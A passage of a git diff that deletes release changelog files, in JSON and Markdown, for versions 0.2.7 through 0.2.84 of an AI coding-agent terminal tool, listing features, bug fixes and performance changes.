-    "description": "**Ctrl+L** now interjects mid-turn in VS Code, Cursor, Windsurf, and Zed terminals.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.69.md b/crates/codegen/kigi-shell/changelogs/0.2.69.md
deleted file mode 100644
index 57f2e6d..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.69.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# 0.2.69 — 2026-06-26
-
-## Features
-
-- The agent dashboard now shows each agent's model and mode in the peek panel, lets you cycle modes with Shift+Tab, collapses the Inactive section by default, and hides older idle agents behind a "N more" row.
-- Tool usage cards for search, directory listing, file deletion and glob now render as distinct typed cards instead of generic MCP entries.
-- The keyboard shortcuts help now shows richer descriptions and correctly scrolls wrapped text in the detail view.
-- You can now pass --json-schema to grok -p and receive a validated JSON object instead of free text.
-- **Ctrl+L** now interjects mid-turn in VS Code, Cursor, Windsurf, and Zed terminals.
-
-## Bug Fixes
-
-- Local plugins installed from your home directory are now automatically refreshed when you start a session, so new agents or skills added to the source appear immediately.
-- The /context command now reports the same number of tool definitions that are actually sent to the model.
-- In vim mode the agent dashboard peek no longer steals keyboard focus from the list, so j and k keep moving between agents.
-- **/sessions** on the agent dashboard no longer freezes the interface.
-- **Dashboard** now focuses the overview list immediately when agents exist.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.7.json b/crates/codegen/kigi-shell/changelogs/0.2.7.json
deleted file mode 100644
index f3861f1..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.7.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Background tasks** started inside subagents now continue running after the subagent session ends.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Image generation and image editing** can now be toggled independently via [features] in config.toml.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.7.md b/crates/codegen/kigi-shell/changelogs/0.2.7.md
deleted file mode 100644
index 0d64046..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.7.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# 0.2.7
-
-## Features
-
-- **Image generation and image editing** can now be toggled independently via [features] in config.toml.
-
-## Bug Fixes
-
-- **Background tasks** started inside subagents now continue running after the subagent session ends.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.70.json b/crates/codegen/kigi-shell/changelogs/0.2.70.json
deleted file mode 100644
index 0515aab..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.70.json
+++ /dev/null
@@ -1,62 +0,0 @@
-[
-  {
-    "category": "breaking",
-    "description": "**Added `grok wrap`** to run any command with local clipboard support.",
-    "breaking_change": true
-  },
-  {
-    "category": "fixes",
-    "description": "**Session recaps** (/recap and return-from-away) now show the full summary instead of being cut off mid-sentence.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Vim mode** now focuses the prompt when you press / on a brand-new empty session.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed `grok agent stdio` startup hangs** on Windows when used with persistent clients such as VS Code or grok-desktop.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**`/mcps` list** no longer shows stale disabled entries when managed gateway tools are enabled.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mermaid diagrams opened via [Open Image]** now render at higher resolution instead of terminal size.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Pressing `r` in scrollback** no longer accidentally rewinds the session.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Shortcuts cheatsheet** now shows Ctrl+X on terminals that cannot deliver Ctrl+.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Ctrl+4** now toggles the prompt queue on local macOS VS Code terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Folder trust prompts** no longer re-appear for every standalone worktree clone.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Reasoning effort** no longer silently resets from a user-chosen value after catalog refreshes.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed clipboard copy** inside editor terminals nested in tmux by emitting plain OSC 52.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.70.md b/crates/codegen/kigi-shell/changelogs/0.2.70.md
deleted file mode 100644
index 1993f3e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.70.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# 0.2.70 — 2026-06-27
-
-## Breaking Changes
-
-- **Added `grok wrap`** to run any command with local clipboard support.
-
-## Features
-
-- **Ctrl+4** now toggles the prompt queue on local macOS VS Code terminals.
-
-## Bug Fixes
-
-- **Session recaps** (/recap and return-from-away) now show the full summary instead of being cut off mid-sentence.
-- **Vim mode** now focuses the prompt when you press / on a brand-new empty session.
-- **Fixed `grok agent stdio` startup hangs** on Windows when used with persistent clients such as VS Code or grok-desktop.
-- **`/mcps` list** no longer shows stale disabled entries when managed gateway tools are enabled.
-- **Mermaid diagrams opened via [Open Image]** now render at higher resolution instead of terminal size.
-- **Pressing `r` in scrollback** no longer accidentally rewinds the session.
-- **Shortcuts cheatsheet** now shows Ctrl+X on terminals that cannot deliver Ctrl+.
-- **Folder trust prompts** no longer re-appear for every standalone worktree clone.
-- **Reasoning effort** no longer silently resets from a user-chosen value after catalog refreshes.
-- **Fixed clipboard copy** inside editor terminals nested in tmux by emitting plain OSC 52.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.71.json b/crates/codegen/kigi-shell/changelogs/0.2.71.json
deleted file mode 100644
index 2dd95b8..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.71.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Fixed `grok agent stdio` hangs** on Windows when used with persistent clients such as VS Code.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.71.md b/crates/codegen/kigi-shell/changelogs/0.2.71.md
deleted file mode 100644
index 81023d6..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.71.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.71 — 2026-06-27
-
-## Bug Fixes
-
-- **Fixed `grok agent stdio` hangs** on Windows when used with persistent clients such as VS Code.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.72.json b/crates/codegen/kigi-shell/changelogs/0.2.72.json
deleted file mode 100644
index ef70991..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.72.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**No longer triggers browser login** at startup when an API key is already configured for inference.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.72.md b/crates/codegen/kigi-shell/changelogs/0.2.72.md
deleted file mode 100644
index 3defb74..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.72.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.72 — 2026-06-28
-
-## Bug Fixes
-
-- **No longer triggers browser login** at startup when an API key is already configured for inference.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.73.json b/crates/codegen/kigi-shell/changelogs/0.2.73.json
deleted file mode 100644
index 8c1cfe4..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.73.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Doubled lines** after tab switches or focus changes in tmux or editor terminals are now healed.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Clipboard copy** now only shows success when the pasteboard actually received the text via a trusted path.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Keep text selection highlight** setting added so drag selections stay visible until dismissed.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.73.md b/crates/codegen/kigi-shell/changelogs/0.2.73.md
deleted file mode 100644
index cc52dab..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.73.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# 0.2.73 — 2026-06-28
-
-## Features
-
-- **Keep text selection highlight** setting added so drag selections stay visible until dismissed.
-
-## Bug Fixes
-
-- **Doubled lines** after tab switches or focus changes in tmux or editor terminals are now healed.
-- **Clipboard copy** now only shows success when the pasteboard actually received the text via a trusted path.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.74.json b/crates/codegen/kigi-shell/changelogs/0.2.74.json
deleted file mode 100644
index a64893e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.74.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Esc now cancels a running turn immediately**; double-Esc clears prompt or opens rewind when idle.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok wrap** now shows copy success over SSH and suggests native drag-select when paste fails.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Clipboard copy** now succeeds reliably on Wayland and KDE desktops instead of showing false positives.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.74.md b/crates/codegen/kigi-shell/changelogs/0.2.74.md
deleted file mode 100644
index ca7557f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.74.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# 0.2.74 — 2026-06-29
-
-## Features
-
-- **Esc now cancels a running turn immediately**; double-Esc clears prompt or opens rewind when idle.
-- **grok wrap** now shows copy success over SSH and suggests native drag-select when paste fails.
-
-## Bug Fixes
-
-- **Clipboard copy** now succeeds reliably on Wayland and KDE desktops instead of showing false positives.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.75.json b/crates/codegen/kigi-shell/changelogs/0.2.75.json
deleted file mode 100644
index e90b20c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.75.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Prompt history** (Up arrow / Ctrl+R) now shows only the current session's prompts, with the newest selected at the bottom.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.75.md b/crates/codegen/kigi-shell/changelogs/0.2.75.md
deleted file mode 100644
index 1222f4f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.75.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# 0.2.75 — 2026-06-29
-
-## Features
-
-- **Prompt history** (Up arrow / Ctrl+R) now shows only the current session's prompts, with the newest selected at the bottom.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.76.json b/crates/codegen/kigi-shell/changelogs/0.2.76.json
deleted file mode 100644
index 7bc85ff..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.76.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Auto permission mode** is now added to the top of Shift+Tab cycles and enabled by default in settings.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Idle sessions** no longer send repeated empty frames to the terminal, reducing CPU usage in the terminal emulator.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok agent stdio** now checks for updates in the background like other modes.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.76.md b/crates/codegen/kigi-shell/changelogs/0.2.76.md
deleted file mode 100644
index e56ae36..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.76.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# 0.2.76 — 2026-06-30
-
-## Features
-
-- **Auto permission mode** is now added to the top of Shift+Tab cycles and enabled by default in settings.
-- **grok agent stdio** now checks for updates in the background like other modes.
-
-## Performance
-
-- **Idle sessions** no longer send repeated empty frames to the terminal, reducing CPU usage in the terminal emulator.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.77.json b/crates/codegen/kigi-shell/changelogs/0.2.77.json
deleted file mode 100644
index fb8dd95..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.77.json
+++ /dev/null
@@ -1,22 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Pasting images** from the local clipboard now works when running commands through `grok wrap`.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Credit limit errors** now show clearer upgrade or buy-credits messaging based on billing type.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Turn status spinner** now shows what the agent is waiting on (response, subagent, task output, etc.).",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Double-click word selection** is now a discoverable option in the Text selection setting and stays in sync with highlight behavior.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.77.md b/crates/codegen/kigi-shell/changelogs/0.2.77.md
deleted file mode 100644
index 7126482..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.77.md
+++ /dev/null
@@ -1,12 +0,0 @@
-# 0.2.77 — 2026-06-30
-
-## Features
-
-- **Pasting images** from the local clipboard now works when running commands through `grok wrap`.
-- **Turn status spinner** now shows what the agent is waiting on (response, subagent, task output, etc.).
-- **Double-click word selection** is now a discoverable option in the Text selection setting and stays in sync with highlight behavior.
-
-## Bug Fixes
-
-- **Credit limit errors** now show clearer upgrade or buy-credits messaging based on billing type.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.78.json b/crates/codegen/kigi-shell/changelogs/0.2.78.json
deleted file mode 100644
index 4d3e494..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.78.json
+++ /dev/null
@@ -1,47 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Tabs pasted into the prompt** now align correctly with proper cursor positioning.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Pasting images into dashboard peek replies** now works and survives turn cancellation.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Links in /btw panels** are now clickable and highlight on hover.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Prompt history is now saved** even on fast Ctrl+C quit.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Chat sessions show the grok.com model catalog** in the picker.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Stuck scrollback text selection** can now be cleared with Esc or any non-drag input.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**LaTeX math now renders** inside markdown tables in the TUI.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Background shell commands** started by the agent are now cleaned up when the CLI exits.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**`grok update`** downloads have a longer timeout.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.78.md b/crates/codegen/kigi-shell/changelogs/0.2.78.md
deleted file mode 100644
index ee97214..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.78.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# 0.2.78 — 2026-06-30
-
-## Features
-
-- **Chat sessions show the grok.com model catalog** in the picker.
-
-## Bug Fixes
-
-- **Tabs pasted into the prompt** now align correctly with proper cursor positioning.
-- **Pasting images into dashboard peek replies** now works and survives turn cancellation.
-- **Links in /btw panels** are now clickable and highlight on hover.
-- **Prompt history is now saved** even on fast Ctrl+C quit.
-- **Stuck scrollback text selection** can now be cleared with Esc or any non-drag input.
-- **LaTeX math now renders** inside markdown tables in the TUI.
-- **Background shell commands** started by the agent are now cleaned up when the CLI exits.
-
-## Performance
-
-- **`grok update`** downloads have a longer timeout.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.79.json b/crates/codegen/kigi-shell/changelogs/0.2.79.json
deleted file mode 100644
index 3621f9f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.79.json
+++ /dev/null
@@ -1,32 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Contextual hints** now show shortcuts like plan mode or clipboard paste when relevant.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Compaction** can now run part of its work in the background before it blocks the session.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Graceful shutdowns** now allow interrupted turns to resume with a configurable pause budget.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Grok.com chat sessions** now integrate fully with the gateway bridge for model catalog and resume.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Question prompts** now time out after 6 minutes instead of blocking forever.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed a crash** that could occur during conversation integrity repairs while a turn was active.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.79.md b/crates/codegen/kigi-shell/changelogs/0.2.79.md
deleted file mode 100644
index 8b5abf1..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.79.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# 0.2.79 — 2026-06-30
-
-## Features
-
-- **Contextual hints** now show shortcuts like plan mode or clipboard paste when relevant.
-- **Graceful shutdowns** now allow interrupted turns to resume with a configurable pause budget.
-- **Grok.com chat sessions** now integrate fully with the gateway bridge for model catalog and resume.
-
-## Bug Fixes
-
-- **Question prompts** now time out after 6 minutes instead of blocking forever.
-- **Fixed a crash** that could occur during conversation integrity repairs while a turn was active.
-
-## Performance
-
-- **Compaction** can now run part of its work in the background before it blocks the session.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.8.json b/crates/codegen/kigi-shell/changelogs/0.2.8.json
deleted file mode 100644
index 14986d9..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.8.json
+++ /dev/null
@@ -1,27 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**New /login** slash command lets you re-authenticate from within a session without quitting.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Compaction summaries** now include the full transcript path so the model can reference prior details.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed monitor tool** schema to show the correct 10-hour default timeout.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed a panic** that could occur when installing marketplace plugins.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Cursor skills and rules** are now discovered alongside Grok and Claude directories.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.8.md b/crates/codegen/kigi-shell/changelogs/0.2.8.md
deleted file mode 100644
index 446a16c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.8.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# 0.2.8
-
-## Features
-
-- **New /login** slash command lets you re-authenticate from within a session without quitting.
-- **Compaction summaries** now include the full transcript path so the model can reference prior details.
-- **Cursor skills and rules** are now discovered alongside Grok and Claude directories.
-
-## Bug Fixes
-
-- **Fixed monitor tool** schema to show the correct 10-hour default timeout.
-- **Fixed a panic** that could occur when installing marketplace plugins.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.80.json b/crates/codegen/kigi-shell/changelogs/0.2.80.json
deleted file mode 100644
index d6d730e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.80.json
+++ /dev/null
@@ -1,42 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Subagent dialogs** now reliably show full transcripts on open and reopen.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Command timeouts** can now be configured per-session with a foreground-only ceiling.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Network connections** are now more resilient to proxy/LB drops.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Background tasks and TODO lists** now survive compaction and remain visible to the model.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Voice dictation** STT feature: uses Ctrl+Space or F8, with optional hold-to-talk on supported terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Contextual hints** can now be toggled individually for undo, plan mode, and image input.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Recap blocks** now copy only the summary body, not the header label.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Vim navigation keys** now type into dashboard prompts; modals properly handle Esc/Left.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.80.md b/crates/codegen/kigi-shell/changelogs/0.2.80.md
deleted file mode 100644
index 10dc442..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.80.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# 0.2.80 — 2026-07-01
-
-## Features
-
-- **Command timeouts** can now be configured per-session with a foreground-only ceiling.
-- **Background tasks and TODO lists** now survive compaction and remain visible to the model.
-- **Voice dictation** STT feature: uses Ctrl+Space or F8, with optional hold-to-talk on supported terminals.
-- **Contextual hints** can now be toggled individually for undo, plan mode, and image input.
-
-## Bug Fixes
-
-- **Subagent dialogs** now reliably show full transcripts on open and reopen.
-- **Recap blocks** now copy only the summary body, not the header label.
-- **Vim navigation keys** now type into dashboard prompts; modals properly handle Esc/Left.
-
-## Performance
-
-- **Network connections** are now more resilient to proxy/LB drops.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.81.json b/crates/codegen/kigi-shell/changelogs/0.2.81.json
deleted file mode 100644
index f29e741..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.81.json
+++ /dev/null
@@ -1,57 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Chat sessions** no longer send workspace binding hints that belong to the backend.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed sessions** that remained stuck on the thinking indicator after the model finished responding.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New stream transforms** let hosts hide, unwrap, or rewrite tool calls for display without affecting agent transcripts.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**cancel()** now accepts a timeout so a stuck turn cannot hang the session forever.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Run tool blocks** now show the model's description as the main title when provided.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Hex color codes** in prose now render as colored dots on truecolor terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New setting** \"Show thinking blocks\" controls whether agent reasoning is visible in the scrollback.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Spinners** now show the description or short command of the task being waited on when available.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Grep searches** now time out after 20 seconds by default (60s on WSL) instead of always waiting 60s.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mermaid diagrams** now correctly display angle brackets and symbols instead of literal HTML entities in labels.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Recap requests** no longer trigger context-length 400 errors on long conversations.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.81.md b/crates/codegen/kigi-shell/changelogs/0.2.81.md
deleted file mode 100644
index 3c56df3..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.81.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# 0.2.81 — 2026-07-01
-
-## Features
-
-- **Chat sessions** no longer send workspace binding hints that belong to the backend.
-- **New stream transforms** let hosts hide, unwrap, or rewrite tool calls for display without affecting agent transcripts.
-- **cancel()** now accepts a timeout so a stuck turn cannot hang the session forever.
-- **Run tool blocks** now show the model's description as the main title when provided.
-- **Hex color codes** in prose now render as colored dots on truecolor terminals.
-- **New setting** "Show thinking blocks" controls whether agent reasoning is visible in the scrollback.
-- **Spinners** now show the description or short command of the task being waited on when available.
-
-## Bug Fixes
-
-- **Fixed sessions** that remained stuck on the thinking indicator after the model finished responding.
-- **Mermaid diagrams** now correctly display angle brackets and symbols instead of literal HTML entities in labels.
-- **Recap requests** no longer trigger context-length 400 errors on long conversations.
-
-## Performance
-
-- **Grep searches** now time out after 20 seconds by default (60s on WSL) instead of always waiting 60s.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.82.json b/crates/codegen/kigi-shell/changelogs/0.2.82.json
deleted file mode 100644
index 13c6ef1..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.82.json
+++ /dev/null
@@ -1,62 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Managed connectors links** now include the team ID when opening from a team session.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**AGENTS.md files** are now discovered and shown for workspace/hub sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Skill descriptions** are now recovered correctly even when frontmatter YAML is malformed.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**[Esc] hint** in /btw panels now stays visible even on narrow terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Background monitors** now wake the agent on natural exit the same way bash tasks do.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Chat conversation titles** from the gateway are now shown in the sidebar.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Long option labels in question prompts are now always visible instead of disappearing when unfocused.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "New `/effort` slash command changes reasoning effort on the active model.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Pasted text preview now appears immediately after inserting a paste chip.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Double-click a pasted text chip to expand it into editable text.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Hex color codes now render as colored dots with no extra space.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Pressing voice on the welcome screen now starts a new session.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.82.md b/crates/codegen/kigi-shell/changelogs/0.2.82.md
deleted file mode 100644
index a0e7648..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.82.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# 0.2.82 — 2026-07-02
-
-## Features
-
-- **Managed connectors links** now include the team ID when opening from a team session.
-- **AGENTS.md files** are now discovered and shown for workspace/hub sessions.
-- **Chat conversation titles** from the gateway are now shown in the sidebar.
-- New `/effort` slash command changes reasoning effort on the active model.
-- Double-click a pasted text chip to expand it into editable text.
-
-## Bug Fixes
-
-- **Skill descriptions** are now recovered correctly even when frontmatter YAML is malformed.
-- **[Esc] hint** in /btw panels now stays visible even on narrow terminals.
-- **Background monitors** now wake the agent on natural exit the same way bash tasks do.
-- Long option labels in question prompts are now always visible instead of disappearing when unfocused.
-- Pasted text preview now appears immediately after inserting a paste chip.
-- Hex color codes now render as colored dots with no extra space.
-- Pressing voice on the welcome screen now starts a new session.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.83.json b/crates/codegen/kigi-shell/changelogs/0.2.83.json
deleted file mode 100644
index 799dc73..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.83.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Critical announcements** now appear in a top banner during active sessions with a hide command.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Pasting the same text again** next to a paste chip now expands the chip into editable text instead of duplicating it.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Paste preview** now shows a hint explaining how to expand the chip.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.83.md b/crates/codegen/kigi-shell/changelogs/0.2.83.md
deleted file mode 100644
index 4e1a9f2..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.83.md
+++ /dev/null
@@ -1,8 +0,0 @@
-# 0.2.83 — 2026-07-02
-
-## Features
-
-- **Critical announcements** now appear in a top banner during active sessions with a hide command.
-- **Pasting the same text again** next to a paste chip now expands the chip into editable text instead of duplicating it.
-- **Paste preview** now shows a hint explaining how to expand the chip.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.84.json b/crates/codegen/kigi-shell/changelogs/0.2.84.json
deleted file mode 100644
index f6aefae..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.84.json
+++ /dev/null
@@ -1,97 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Images** pasted or read from GIF, BMP or TIFF files are now automatically converted so they work with image generation.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Queue panel** now shows action buttons on hover and the status bar displays a compact done/total task count.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Hook matchers** now correctly see the real MCP tool name instead of the internal dispatcher name.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Grep** now stops early on broad searches, returning faster results with far less memory use.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Copy** now succeeds when running inside containers even when the terminal brand cannot be detected.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Announcements** now update live during active sessions without restart or `/new`.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Hiding** an announcement no longer suppresses later criticals; new ones reappear automatically.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**run_terminal_cmd** now requires a one-sentence `description` rationale in every invocation.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Tool result previews** no longer paint opaque panels in `grok --minimal`.",
-    "breaking_change": false
